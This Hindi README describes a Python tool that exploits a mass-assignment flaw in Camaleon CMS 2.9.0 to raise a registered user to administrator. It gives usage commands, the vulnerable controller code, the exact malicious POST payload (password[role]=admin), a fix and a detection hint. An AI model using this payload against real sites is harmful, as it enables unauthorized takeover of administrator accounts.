
यह Python स्क्रिप्ट Camaleon CMS संस्करण 2.9.0 में एक क्रिटिकल मास असाइनमेंट भेद्यता का शोषण करती है, जो किसी भी पंजीकृत उपयोगकर्ता को अपने विशेषाधिकारों को व्यवस्थापक तक बढ़ाने की अनुमति देती है।
यह Python स्क्रिप्ट Camaleon CMS संस्करण 2.9.0 में एक गंभीर mass assignment भेद्यता का शोषण करती है, जो किसी भी पंजीकृत उपयोगकर्ता को अपने विशेषाधिकारों को व्यवस्थापक स्तर तक बढ़ाने की अनुमति देती है।
updated_ajax क्रिया में permit! विधि बिना फ़िल्टरिंग के सभी पैरामीटरों को पारित होने देती है, जिसमें role पैरामीटर भी शामिल है/admin/users/[id]/updated_ajax पर POST अनुरोध भेजता है: (स्क्रिप्ट में मैंने id 5 का उपयोग किया है क्योंकि यह आमतौर पर स्वचालित रूप से निर्दिष्ट होता है। इसे बदलने की आवश्यकता हो सकती है।)
password[role]=admin - यह पैरामीटर फ़िल्टर होना चाहिए, लेकिन permit! के कारण नहीं होताpassword[password] और password[password_confirmation] - उपयोगकर्ता का पासवर्ड अपडेट करता है (जब कोई सामान्य उपयोगकर्ता क्लाइंट भूमिका के साथ अपनी प्रोफ़ाइल अपडेट करता है, तो यह तकनीकी रूप से user[role]=client होता है, लेकिन चूंकि हम यहाँ change password कार्यक्षमता से उत्पन्न भेद्यता का शोषण कर रहे हैं, यह password[role]=admin होगा।)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: शोषण के दौरान एक नया पासवर्ड सेट करें (डिफ़ॉल्ट रूप से वर्तमान पासवर्ड)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
भेद्यता UsersController की updated_ajax विधि में मौजूद है:
def updated_ajax
# भेद्य कोड - विशिष्ट पैरामीटर फ़िल्टरिंग के बजाय permit! का उपयोग करता है
@user.update(params.require(:user).permit!)
# यह किसी भी पैरामीटर को mass-assign करने की अनुमति देता है, जिसमें role भी शामिल है
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
भेद्य permit! विधि को स्पष्ट पैरामीटर फ़िल्टरिंग से बदलें:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# स्पष्ट रूप से बाहर करें: role पैरामीटर
end
यह स्क्रिप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कृपया उन सिस्टमों पर इस शोषण का उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
सुरक्षा टीमें निम्नलिखित की निगरानी करके शोषण प्रयासों का पता लगा सकती हैं:
password[role] पैरामीटर के साथ /admin/users/[id]/updated_ajax पर POST अनुरोध